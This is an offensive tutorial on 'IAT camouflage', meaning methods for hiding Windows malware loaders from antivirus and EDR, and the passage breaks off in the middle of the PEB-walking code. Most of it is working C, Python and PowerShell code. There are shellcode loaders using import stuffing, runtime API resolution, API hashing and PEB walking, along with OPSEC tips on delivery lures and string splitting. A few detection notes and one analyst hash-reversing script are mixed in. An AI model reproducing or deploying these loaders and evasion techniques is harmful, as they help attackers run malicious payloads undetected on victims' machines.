Legend:
[EVADE]= Evasion technique |[DETECT]= Detection vector |[OPSEC]= Operational Security note |[TOOL]= Tool reference |[ATT&CK]= MITRE ATT&CK mapping |[OBFUSCATE]= Obfuscation method |[DEFEND]= Defender perspective
1. What Is IAT Camouflage and Why It Matters
What it means: When a Windows binary (PE file) gets statically analyzed by an AV/EDR, security tools inspect the Import Address Table (IAT) — a lookup table that lists every DLL and every function that binary calls. If your loader imports VirtualAlloc, CreateThread, WriteProcessMemory — any analyst (or ML model) immediately flags it as suspicious.
IAT Camouflage is the collection of techniques used to hide, obfuscate, replace, or eliminate suspicious API references from the IAT so your loader appears benign or leaves no static trace at all.
The Core Problem
Loader with obvious IAT (beginner mistake):
┌─────────────────────────────────────────────┐
│ Imports: │
│ ├─ kernel32.dll → VirtualAlloc │ ← RED FLAG
│ ├─ kernel32.dll → CreateThread │ ← RED FLAG
│ ├─ kernel32.dll → WriteProcessMemory │ ← RED FLAG
│ └─ kernel32.dll → OpenProcess │ ← RED FLAG
└─────────────────────────────────────────────┘
PEStudio / YARA / CrowdStrike / Defender:
→ Suspicious import combo → BLOCKED + ALERTED
What defenders look for in the IAT:
| API / Import Pattern | Suspicion Level | Reason |
|---|---|---|
VirtualAlloc + CreateThread |
Very High | Classic shellcode injection |
WriteProcessMemory + OpenProcess |
Very High | Remote process injection |
WinExec / ShellExecute |
High | Command execution |
LoadLibrary + GetProcAddress alone |
Medium | Dynamic resolution indicator |
| Too few imports (< 3–5) | High | Likely packed / dynamic resolution |
| Too many unrelated imports | Medium | IAT stuffing / camouflage attempt |
| Imports from unusual DLLs | High | Stealthy loading |
The goal of IAT Camouflage:
After applying techniques:
┌──────────────────────────────────────────────────────┐
│ Imports (what AV sees): │
│ ├─ kernel32.dll → GetTickCount (benign) │
│ ├─ kernel32.dll → GetSystemInfo (benign) │
│ ├─ user32.dll → MessageBoxA (benign) │
│ └─ kernel32.dll → Sleep (benign) │
└──────────────────────────────────────────────────────┘
Actual behavior at runtime:
VirtualAlloc, CreateThread, WriteProcessMemory
all resolved dynamically — NEVER in IAT
[ATT&CK] MITRE ATT&CK: T1027.007 — Obfuscated Files or Information: Dynamic API Resolution
2. PE Structure — IAT, EAT, and the Import Mechanism
What it means: Before diving into evasion techniques, you need to understand how Windows actually loads DLLs and how the IAT gets populated. This is the foundation every technique builds on.
2.1 How Windows Loads Imports Normally
At compile time:
linker creates an Import Directory in PE header
each DLL entry lists function names (or ordinals)
At load time (ntdll.dll LDR does this):
1. Read IMAGE_IMPORT_DESCRIPTOR array
2. For each descriptor → LoadLibrary("dll_name")
3. For each function → GetProcAddress(hDLL, "FunctionName")
4. Write resolved address → IAT slot
At runtime:
CALL [IAT_slot] ← CPU reads address from IAT → jumps to function
2.2 PE Structure Diagram
PE File on disk:
┌───────────────────────────────────────┐
│ DOS Header (.MZ) │
│ PE Header (IMAGE_NT_HEADERS) │
│ ───────────────────────────────────── │
│ Optional Header │
│ └─ DataDirectory[1] → Import Table │ ← IAT starts here
│ └─ DataDirectory[0] → Export Table │ ← EAT
│ ───────────────────────────────────── │
│ .text (code) │
│ .data (data) │
│ .idata (import table) │ ← IAT lives here
│ .edata (export table) │
│ .rsrc (resources) │
└───────────────────────────────────────┘
2.3 Key Data Structures
// IMAGE_IMPORT_DESCRIPTOR — one per imported DLL
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; // → Import Lookup Table (names)
};
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // → DLL name string (e.g., "kernel32.dll")
DWORD FirstThunk; // → IAT (gets overwritten with addresses)
} IMAGE_IMPORT_DESCRIPTOR;
// IMAGE_EXPORT_DIRECTORY — inside each DLL (used for resolution)
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // → DLL name
DWORD Base; // Ordinal base
DWORD NumberOfFunctions; // Total exported functions
DWORD NumberOfNames; // Functions exported by name
DWORD AddressOfFunctions; // → RVA table of function addresses
DWORD AddressOfNames; // → RVA table of name strings
DWORD AddressOfNameOrdinals; // → ordinal lookup table
} IMAGE_EXPORT_DIRECTORY;
2.4 PEB Structure (Critical for Technique 4)
PEB (Process Environment Block):
├─ Ldr (PEB_LDR_DATA)
│ └─ InMemoryOrderModuleList ← Linked list of all loaded DLLs
│ ├─ [0] = yourprogram.exe (first entry)
│ ├─ [1] = ntdll.dll (second entry — ALWAYS)
│ └─ [2] = kernel32.dll (third entry — ALMOST ALWAYS)
Each LDR_DATA_TABLE_ENTRY:
├─ DllBase → Base address of the DLL in memory
├─ SizeOfImage → Size
├─ FullDllName → Unicode string (full path)
└─ BaseDllName → Unicode string (just "kernel32.dll")
[TOOL] Use WinDbg → dt _PEB, Process Hacker → Modules tab, or x64dbg → Memory Map to visualize at runtime.
3. Technique 1 — Fake / Benign Import Injection
What it means: The simplest form of IAT Camouflage. Add a bunch of benign-looking, innocuous Windows API calls that your binary technically imports (and even calls — to make them "real") but which serve no malicious purpose. This dilutes or masks the suspicious API profile.
Why it works: ML-based detectors (EMBER, MalConv) and heuristic engines score a binary's import list. Injecting benign imports from typical software shifts the score toward legitimate software patterns.
[ATT&CK] T1027.016 — Junk Code Insertion (related: dummy API calls between real ones)
3.1 The Concept
Without camouflage:
VirtualAlloc ← FLAGGED
WriteProcessMemory ← FLAGGED
CreateThread ← FLAGGED
With IAT camouflage (benign imports added):
GetTickCount (timing — benign)
GetSystemInfo (system info — benign)
RegOpenKeyExA (registry read — benign)
GetComputerNameA (hostname — benign)
GetUserNameA (username — benign)
GetLocalTime (time — benign)
Sleep (sleep — benign)
MessageBoxA (UI — benign)
VirtualAlloc ← now BURIED in a sea of benign
WriteProcessMemory ← now BURIED
CreateThread ← now BURIED
ML scoring: 48 detections → 22 detections (54.5% reduction observed in research)
3.2 Benign Import Camouflage — C Implementation
// iat_camouflage.c — Inject benign-looking API calls to dilute IAT profile
// These calls actually execute (not dead code) — harder to strip by compiler
#include <windows.h>
#include <stdio.h>
// ─── Benign APIs we import to camouflage the IAT ─────────────
// These run before the actual payload and look like normal program behavior
void iat_camouflage_init(void) {
// Timing APIs (common in any real program)
DWORD tick = GetTickCount();
LARGE_INTEGER freq;
QueryPerformanceFrequency(&freq);
// System info (looks like application initialization)
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
// Process/User info
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD hsize = sizeof(hostname);
GetComputerNameA(hostname, &hsize);
char username[256] = {0};
DWORD usize = sizeof(username);
GetUserNameA(username, &usize);
// Locale / language (common in legit software)
LCID lcid = GetUserDefaultLCID();
char langBuf[10] = {0};
GetLocaleInfoA(lcid, LOCALE_SISO639LANGNAME, langBuf, sizeof(langBuf));
// Registry read (very common in legit apps)
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char version[256] = {0};
DWORD vsize = sizeof(version);
RegQueryValueExA(hKey, "ProductName", NULL, NULL,
(LPBYTE)version, &vsize);
RegCloseKey(hKey);
}
// File operations (benign, common)
char tempPath[MAX_PATH] = {0};
GetTempPathA(sizeof(tempPath), tempPath);
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
// Env variables (very common)
char appdata[MAX_PATH] = {0};
GetEnvironmentVariableA("APPDATA", appdata, sizeof(appdata));
// Suppress "unused variable" warnings without optimizing out
volatile DWORD dummy = tick + sysInfo.dwNumberOfProcessors +
(DWORD)memStatus.ullTotalPhys +
lcid + ft.dwLowDateTime;
(void)dummy;
}
// ─── Actual malicious functionality (hidden by camouflage above) ──
// Real shellcode execution — these APIs will STILL appear in IAT
// but are now BURIED among the benign ones above
void execute_payload(unsigned char* shellcode, SIZE_T shellcode_len) {
// These still appear in IAT but are diluted by benign imports above
LPVOID mem = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, shellcode_len);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
int main() {
iat_camouflage_init(); // Run benign APIs first — looks legitimate
unsigned char shellcode[] = { /* your payload */ };
execute_payload(shellcode, sizeof(shellcode));
return 0;
}
3.3 Advanced: Targeting Specific Software Profiles
#!/usr/bin/env python3
# target_iat_profile.py — Choose benign API sets matching a specific software category
# Concept: make your loader's IAT look like notepad.exe, calc.exe, etc.
# Benign API pools by software category — inject from the right pool
SOFTWARE_PROFILES = {
"document_editor": [
# Match word processor patterns
"GetTextMetricsA", "CreateFontA", "TextOutA",
"GetFontData", "EnumFontFamiliesExA", "CreateDCW",
"ChooseFontA", "PrintDlgA", "DocumentPropertiesA",
"GetPrinterA", "EnumPrintersA", "StartDocA", "EndDocA",
],
"web_browser": [
# Match browser patterns
"InternetOpenA", "InternetConnectA", "HttpOpenRequestA",
"HttpSendRequestA", "InternetReadFile",
"WinHttpOpen", "WinHttpConnect", "WinHttpSendRequest",
"URLDownloadToFileA", "DeleteUrlCacheEntry",
],
"system_utility": [
# Match sysadmin tool patterns
"GetLogicalDrives", "GetDiskFreeSpaceExA",
"GetVolumeInformationA", "FindFirstFileA",
"FindNextFileA", "FindClose", "CopyFileA",
"MoveFileExA", "SHGetKnownFolderPath",
"GetFileAttributesA", "SetFileAttributesA",
],
"multimedia": [
# Match media player patterns
"mciSendStringA", "waveOutOpen", "waveOutWrite",
"mixerOpen", "mixerGetDevCapsA", "PlaySoundA",
"GetOpenFileNameA", "CoInitialize", "CoCreateInstance",
],
}
def generate_benign_import_code(profile: str) -> str:
"""Generate C code to call APIs from the chosen profile."""
apis = SOFTWARE_PROFILES.get(profile, [])
code_lines = [f"// IAT Camouflage — {profile} profile"]
code_lines.append("void iat_camouflage(void) {")
for api in apis:
# Each call must compile — use NULL/0 args (will fail gracefully)
code_lines.append(f" // Import: {api}")
code_lines.append("}")
return "\n".join(code_lines)
# Usage:
print(generate_benign_import_code("system_utility"))
print()
print("[*] Tips:")
print(" - Call all injected APIs in a real function (not dead code)")
print(" - Compiler will strip dead code → dead imports also stripped")
print(" - Link with: /FORCE:MULTIPLE to include all imports")
print(" - Target a software profile matching your delivery lure")
3.4 OPSEC Notes
[OPSEC] Key considerations:
- Dead (uncalled) imports ARE stripped by the linker → must actually CALL them
- Calls must produce side effects to survive optimization (/O2)
- Use volatile keyword or pass results to a dummy variable
- Match your cover story: if your loader is disguised as a PDF reader,
use document_editor profile imports
[DETECT] Detection signatures for IAT stuffing:
- Unusually large number of imports vs small binary size
- Benign APIs that are called but do nothing (no meaningful I/O)
- Entropy mismatch: IAT large, code section small
- ML models trained on import count ratios can detect stuffing
[EVASION] Research result (2025 arxiv paper):
- Adding just 20 targeted benign imports → reduced ML malware recall
from 87.5% to 30% against EMBER-trained classifier
- Adding 141 benign imports → 93% score reduction in EMBER2024
- Key: selection quality matters more than quantity
4. Technique 2 — Dynamic API Resolution via LoadLibrary + GetProcAddress
What it means: Instead of statically importing sensitive APIs (which shows up in the IAT), load the DLL at runtime with LoadLibrary and look up the function address with GetProcAddress. The IAT only shows these two "safe" functions — the actual dangerous APIs are never visible statically.
[ATT&CK] T1027.007 — Dynamic API Resolution | Used by: Cobalt Strike Beacon, Emotet, TrickBot, CHIMNEYSWEEP, LobShot
4.1 How It Works
Static import (bad):
IAT shows: VirtualAlloc, CreateThread
Defender: FLAGGED
Dynamic import (intermediate evasion):
IAT shows: LoadLibraryA, GetProcAddress (just these two)
Defender: Medium suspicion (known evasion indicator, but not blocked)
At runtime:
HMODULE h = LoadLibraryA("kernel32.dll");
pVirtualAlloc = GetProcAddress(h, "VirtualAlloc");
pCreateThread = GetProcAddress(h, "CreateThread");
→ No static trace of VirtualAlloc or CreateThread
4.2 Dynamic Resolution — C Implementation
// dynamic_resolve.c — Resolve APIs at runtime, no sensitive static imports
// IAT will only show: LoadLibraryA, GetProcAddress
#include <windows.h>
// ─── Define function pointer types ───────────────────────────
// (No #include of specific APIs — only type definitions)
typedef LPVOID (WINAPI *pVirtualAlloc_t)(
LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *pVirtualProtect_t)(
LPVOID lpAddress, SIZE_T dwSize,
DWORD flNewProtect, PDWORD lpflOldProtect);
typedef HANDLE (WINAPI *pCreateThread_t)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
typedef DWORD (WINAPI *pWaitForSingleObject_t)(
HANDLE hHandle, DWORD dwMilliseconds);
// ─── Runtime resolver structure ──────────────────────────────
typedef struct {
pVirtualAlloc_t pVirtualAlloc;
pVirtualProtect_t pVirtualProtect;
pCreateThread_t pCreateThread;
pWaitForSingleObject_t pWaitForSingleObject;
} RuntimeAPIs;
// ─── Resolve all needed APIs at runtime ──────────────────────
BOOL resolve_apis(RuntimeAPIs* apis) {
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
if (!hKernel32) return FALSE;
// Resolve by name — still has cleartext strings (see Technique 3 for hash)
apis->pVirtualAlloc = (pVirtualAlloc_t)
GetProcAddress(hKernel32, "VirtualAlloc");
apis->pVirtualProtect = (pVirtualProtect_t)
GetProcAddress(hKernel32, "VirtualProtect");
apis->pCreateThread = (pCreateThread_t)
GetProcAddress(hKernel32, "CreateThread");
apis->pWaitForSingleObject = (pWaitForSingleObject_t)
GetProcAddress(hKernel32, "WaitForSingleObject");
// Verify all resolved
return (apis->pVirtualAlloc && apis->pVirtualProtect &&
apis->pCreateThread && apis->pWaitForSingleObject);
}
int main() {
RuntimeAPIs apis = {0};
if (!resolve_apis(&apis)) {
return 1;
}
// Shellcode (XOR encoded — replace with actual encoded payload)
unsigned char encoded_shellcode[] = {
0xbd, 0x09, 0xc2, /* ... rest of encoded bytes ... */
};
SIZE_T shellcode_len = sizeof(encoded_shellcode);
unsigned char xor_key = 0x41;
// Step 1: Allocate RW memory
LPVOID mem = apis.pVirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE); // RW, NOT RWX
if (!mem) return 1;
// Step 2: Copy + decode shellcode
memcpy(mem, encoded_shellcode, shellcode_len);
for (SIZE_T i = 0; i < shellcode_len; i++) {
((unsigned char*)mem)[i] ^= xor_key;
}
// Step 3: Change to RX (better OPSEC than RWX from start)
DWORD oldProtect;
apis.pVirtualProtect(mem, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
// Step 4: Execute
HANDLE hThread = apis.pCreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
apis.pWaitForSingleObject(hThread, INFINITE);
return 0;
}
4.3 Dynamic Resolution — PowerShell
# dynamic_resolve.ps1 — Resolve APIs dynamically in PowerShell
# No suspicious API names in script body (use variable names)
# P/Invoke boilerplate (can't avoid LoadLibrary here — it's PS internals)
$code = @"
using System;
using System.Runtime.InteropServices;
public class NativeOps {
// Hide names in benign-looking method names
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr LoadLibraryA(string name);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize,
uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $code
# Resolve the sensitive functions through the resolver functions
$k32 = [NativeOps]::LoadLibraryA("kernel32.dll")
# Split API name strings to avoid string detection
$p1 = "Virtual" + "Alloc"
$p2 = "Create" + "Thread"
$p3 = "WaitForSingle" + "Object"
$pVA = [NativeOps]::GetProcAddress($k32, $p1)
$pCT = [NativeOps]::GetProcAddress($k32, $p2)
$pWS = [NativeOps]::GetProcAddress($k32, $p3)
Write-Host "[*] VirtualAlloc resolved: 0x$($pVA.ToString('X'))"
Write-Host "[*] CreateThread resolved: 0x$($pCT.ToString('X'))"
Write-Host "[*] WaitForSingle resolved: 0x$($pWS.ToString('X'))"
# Invoke via delegate (no direct import)
$delegateType = [Func``4[IntPtr, UInt32, UInt32, UInt32, IntPtr]]
$va_delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
$pVA, $delegateType)
4.4 OPSEC Notes
[DETECT] GetProcAddress + LoadLibrary pattern:
- IAT showing ONLY LoadLibrary + GetProcAddress is a well-known red flag
- EDRs hook GetProcAddress itself → they see every runtime resolution
- YARA rules target: GetProcAddress call + VirtualAlloc in same binary
- ETW (Event Tracing for Windows) captures runtime API calls
[OPSEC] Improvement over static imports:
✅ VirtualAlloc / CreateThread NOT in static IAT
❌ Still calls GetProcAddress with cleartext "VirtualAlloc" string
❌ EDR hooks catch it at runtime anyway
❌ Strings analyzer finds "VirtualAlloc" in binary
→ Next technique: API Hashing removes the cleartext string
5. Technique 3 — API Hashing (Resolve by Hash, Not Name)
What it means: Instead of passing the cleartext string "VirtualAlloc" to GetProcAddress, store a hash of the function name. At runtime, walk the DLL's Export Address Table (EAT) manually, hash each exported function name, and compare to the stored hash. No cleartext API name strings in the binary. Used by: Cobalt Strike, Metasploit, LobShot, LockBit, Kimsuky, APT actors globally.
[ATT&CK] T1027.007 — Used extensively by nation-state and ransomware groups
5.1 How It Works
Normal string-based:
GetProcAddress(hKernel32, "VirtualAlloc") ← "VirtualAlloc" stored in binary
API hashing:
GetProcAddress equivalent using hash:
1. Walk kernel32 Export Directory (EAT)
2. For each exported name:
hash = compute_hash("VirtualAlloc") → 0x00544e304
hash = compute_hash("CreateFileA") → 0x71e27dc6
...etc
3. Compare computed hash → target hash
4. When match found → resolve address from EAT
Binary contains: 0x00544e304, 0x71e27dc6 ← NO cleartext strings!
5.2 API Hash Generator (Python)
#!/usr/bin/env python3
# api_hash_generator.py — Generate API hashes for loader development
# Multiple hash algorithms — pick one and stay consistent
def hash_djb2(name: str) -> int:
"""DJB2 hash — simple, widely used in malware."""
h = 0x35
for c in name:
h = ((h * 0xab10f29f + ord(c)) & 0xffffff)
return h
def hash_ror13(name: str) -> int:
"""ROR13 hash — Metasploit / Cobalt Strike default."""
h = 0
for c in name:
h = ((h >> 13) | (h << (32 - 13))) & 0xFFFFFFFF
h = (h + ord(c)) & 0xFFFFFFFF
return h
def hash_fnv1a(name: str) -> int:
"""FNV-1a 32-bit — fast, low collision rate."""
FNV_prime = 0x01000193
FNV_offset = 0x811C9DC5
h = FNV_offset
for c in name:
h ^= ord(c)
h = (h * FNV_prime) & 0xFFFFFFFF
return h
def hash_custom(name: str) -> int:
"""Custom hash — change algorithm for every engagement."""
h = 0xDEADBEEF
for i, c in enumerate(name):
h ^= (ord(c) << (i % 8))
h = ((h * 0x1337) ^ (h >> 16)) & 0xFFFFFFFF
return h
# ─── Generate hash table for common malicious APIs ───────────
TARGET_APIS = [
("kernel32.dll", "VirtualAlloc"),
("kernel32.dll", "VirtualProtect"),
("kernel32.dll", "CreateThread"),
("kernel32.dll", "WaitForSingleObject"),
("kernel32.dll", "OpenProcess"),
("kernel32.dll", "WriteProcessMemory"),
("kernel32.dll", "CreateRemoteThread"),
("kernel32.dll", "VirtualAllocEx"),
("ntdll.dll", "NtAllocateVirtualMemory"),
("ntdll.dll", "NtWriteVirtualMemory"),
("ntdll.dll", "NtCreateThreadEx"),
("ntdll.dll", "RtlCopyMemory"),
]
print(f"{'API':<35} {'DJB2':>12} {'ROR13':>12} {'FNV1A':>12}")
print("─" * 75)
for dll, api in TARGET_APIS:
print(f"{api:<35} {hash_djb2(api):>12x} {hash_ror13(api):>12x} {hash_fnv1a(api):>12x}")
print()
print("// C definitions (ROR13):")
print("typedef struct {")
for dll, api in TARGET_APIS:
varname = api.replace("Nt", "nt_").lower()
print(f" DWORD hash_{varname}; // {api}")
print("} API_HASHES;")
print()
print("// Initialize in code:")
print("API_HASHES hashes = {")
for dll, api in TARGET_APIS:
print(f" 0x{hash_ror13(api):08x}, // {api}")
print("};")
5.3 API Hash Resolver — C (Full Implementation)
// api_hash_resolve.c — Resolve APIs by hash via manual EAT walking
// No GetProcAddress, no cleartext API strings
#include <windows.h>
#include <winternl.h> // For PEB structures
// ─── Hash algorithm — must match your Python generator ───────
DWORD ror13_hash(const char* name) {
DWORD hash = 0;
while (*name) {
hash = ((hash >> 13) | (hash << (32 - 13)));
hash = (hash + (DWORD)*name);
name++;
}
return hash;
}
// ─── Pre-computed hashes (from Python generator) ─────────────
#define HASH_VirtualAlloc 0xE553A458 // (example — regenerate with your algo)
#define HASH_VirtualProtect 0x7946C61B
#define HASH_CreateThread 0x00544E304
#define HASH_WaitForSingleObject 0x601D8708
// ─── Resolve function address by hash in a given DLL ─────────
FARPROC resolve_by_hash(HMODULE hModule, DWORD target_hash) {
if (!hModule) return NULL;
BYTE* base = (BYTE*)hModule;
// Navigate to Export Directory
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_DATA_DIRECTORY expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!expDir.VirtualAddress) return NULL;
IMAGE_EXPORT_DIRECTORY* eat = (IMAGE_EXPORT_DIRECTORY*)(base + expDir.VirtualAddress);
// Three arrays we need:
DWORD* nameRVAs = (DWORD*)(base + eat->AddressOfNames); // Name RVAs
WORD* nameOrdinals = (WORD*)(base + eat->AddressOfNameOrdinals); // Name→Ordinal
DWORD* funcRVAs = (DWORD*)(base + eat->AddressOfFunctions); // Function RVAs
// Walk the names
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
const char* name = (const char*)(base + nameRVAs[i]);
DWORD computed_hash = ror13_hash(name);
if (computed_hash == target_hash) {
// Found! Resolve function address
WORD ordinal = nameOrdinals[i];
DWORD funcRVA = funcRVAs[ordinal];
return (FARPROC)(base + funcRVA);
}
}
return NULL; // Not found
}
// ─── Function pointer types ───────────────────────────────────
typedef LPVOID (WINAPI *t_VirtualAlloc) (LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *t_VirtualProtect) (LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *t_CreateThread) (LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID,
DWORD, LPDWORD);
typedef DWORD (WINAPI *t_WaitForSingleObject)(HANDLE, DWORD);
int main() {
// Get kernel32 base — use PEB (see Technique 4) or LoadLibrary
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
// Resolve by hash — no cleartext API names!
t_VirtualAlloc pVA = (t_VirtualAlloc) resolve_by_hash(hKernel32, HASH_VirtualAlloc);
t_VirtualProtect pVP = (t_VirtualProtect) resolve_by_hash(hKernel32, HASH_VirtualProtect);
t_CreateThread pCT = (t_CreateThread) resolve_by_hash(hKernel32, HASH_CreateThread);
t_WaitForSingleObject pW = (t_WaitForSingleObject) resolve_by_hash(hKernel32, HASH_WaitForSingleObject);
if (!pVA || !pVP || !pCT || !pW) return 1;
// Shellcode (decode your payload here)
unsigned char shellcode[] = { /* encoded payload bytes */ };
SIZE_T sc_len = sizeof(shellcode);
// Decode in local buffer first
for (SIZE_T i = 0; i < sc_len; i++) shellcode[i] ^= 0x41;
// Execute via resolved pointers
LPVOID mem = pVA(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);
DWORD oldProt;
pVP(mem, sc_len, PAGE_EXECUTE_READ, &oldProt);
HANDLE hThread = pCT(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
pW(hThread, INFINITE);
return 0;
}
5.4 Hash Deobfuscation Script (for DFIR / Analysts)
#!/usr/bin/env python3
# api_hash_crack.py — Reverse API hashes found in malware
# [DEFEND] Use this to identify what APIs malware is resolving
import pefile
import os
def ror13_hash(name: str) -> int:
"""ROR13 — common Cobalt Strike / Metasploit algorithm."""
h = 0
for c in name:
h = ((h >> 13) | (h << (32 - 13))) & 0xFFFFFFFF
h = (h + ord(c)) & 0xFFFFFFFF
return h
def build_hash_db(dll_paths: list) -> dict:
"""Build hash→name database from known DLLs."""
db = {}
for dll_path in dll_paths:
try:
pe = pefile.PE(dll_path, fast_load=True)
pe.parse_data_directories(
directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']]
)
if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
dll_name = os.path.basename(dll_path)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
name = exp.name.decode('utf-8', errors='ignore')
h = ror13_hash(name)
db[h] = (dll_name, name)
except Exception:
pass
return db
# Common Windows DLLs to index
DLL_PATHS = [
r"C:\Windows\System32\kernel32.dll",
r"C:\Windows\System32\ntdll.dll",
r"C:\Windows\System32\user32.dll",
r"C:\Windows\System32\advapi32.dll",
r"C:\Windows\System32\ws2_32.dll",
r"C:\Windows\System32\winhttp.dll",
r"C:\Windows\System32\shlwapi.dll",
]
# Hashes found in malware sample (from reverse engineering)
UNKNOWN_HASHES = [
0xE553A458, # What is this?
0x00544E304, # And this?
0x7946C61B,
]
print("[*] Building hash database from system DLLs...")
db = build_hash_db(DLL_PATHS)
print(f"[+] Indexed {len(db)} function hashes")
print()
print("[*] Resolving malware hashes:")
for h in UNKNOWN_HASHES:
if h in db:
dll, name = db[h]
print(f" 0x{h:08x} → {dll}!{name}")
else:
print(f" 0x{h:08x} → UNKNOWN (try other hash algorithms)")
6. Technique 4 — PEB Walking (Zero-Import Resolution)
What it means: The most advanced form of IAT camouflage — eliminate LoadLibrary and GetProcAddress from the IAT entirely. Instead, use the Process Environment Block (PEB) — a Windows internal structure always present in every process — to manually find loaded DLL bases, then manually parse their Export Address Tables. The binary's IAT can be nearly empty (or contain only totally benign functions). Used by: Havoc C2 demons, advanced C2 implants, APT malware.
[ATT&CK] T1027.007 + T1106 (Native API) | Used by: Havoc, PhantomCLR, and nation-state APTs
6.1 PEB Walking Concept
PEB Walking — No LoadLibrary, No GetProcAddress:
1. Access the PEB:
mov rax, gs:[0x60] ; PEB address (x64)
2. Navigate PEB → Ldr → InMemoryOrderModuleList
PEB → Ldr (offset 0x18) → InMemoryOrderModuleList (offset 0x20)
3. Walk the doubly-linked list of loaded modules:
[0] = current process (.exe)
[1] = ntdll.dll ← always here
[2] = kernel32.dll ← almost always here
4. Match module name (DllBase + PE parsing)
5. Walk that DLL's Export Address Table (EAT)
6. Resolve functions by name or hash
RESULT: IAT contains ZERO imports from kernel32 or ntdll
6.2 PEB Walker — C Implementation
// peb_walk.c — Resolve API addresses via PEB without LoadLibrary/GetProcAddress
// IAT shows NOTHING about the resolved functions
#include <windows.h>
#include <winternl.h>
// ─── PEB/LDR structure offsets (x64) ─────────────────────────
// gs:[0x60] → PEB
// PEB+0x18 → PEB_LDR_DATA* Ldr
// Ldr+0x20 → LIST_ENTRY InMemoryOrderModuleList
// ─── Get PEB in C (x64) ──────────────────────────────────────
static inline PPEB get_peb(void) {
#ifdef _WIN64
return (PPEB)__readgsqword(0x60);
#else
return (PPEB)__readfsdword(0x30);
#endif
}
// ─── Wide string comparison (case-insensitive) ────────────────
static BOOL wcseqi(const WCHAR* a, const WCHAR* b) {
while (*a && *b) {
WCHAR ca = (*a >= L'a' && *a <= L'z') ? (*a - 32) : *a;
WCHAR cb = (*b >= L'a' && *b <= L'z') ? (*b - 32) : *b;
if (ca != cb) return FALSE;
a++; b++;
}
return (*a == 0 && *b == 0);
}
// ─── Find a DLL base address by walking PEB module list ───────
HMODULE peb_get_module(const WCHAR* dll_name) {
PPEB peb = get_peb();
PPEB_LDR_DATA ldr = peb->Ldr;
// Walk InMemoryOrderModuleList
LIST_ENTRY* head = &ldr->InMemoryOrderModuleList;
LIST_ENTRY* current = head->Flink;
while (current != head) {
// LDR_DATA_TABLE_ENTRY starts at CONTAINING_RECORD
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(
current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
// Compare module name
if (entry->BaseDllName.Buffer) {
if (wcseqi(entry->BaseDllName.Buffer, dll_name)) {
return (HMODULE)entry->DllBase;
}
}
current = current->Flink;
}
return NULL;
}
// ─── Hash function (ROR13) ────────────────────────────────────
static DWORD ror13_hash(const char* name) {
DWORD h = 0;
while (*name) {
h = ((h >> 13) | (h << (32 - 13)));
h = h + (DWORD)*name++;
}
return h;
}
// ─── Resolve function by hash in a given module ───────────────
FARPROC peb_get_proc_by_hash(HMODULE hMod, DWORD hash) {
BYTE* base = (BYTE*)hMod;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
DWORD expRVA = nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!expRVA) return NULL;
IMAGE_EXPORT_DIRECTORY* eat = (IMAGE_EXPORT_DIRECTORY*)(base + expRVA);
DWORD* names = (DWORD*)(base + eat->AddressOfNames);
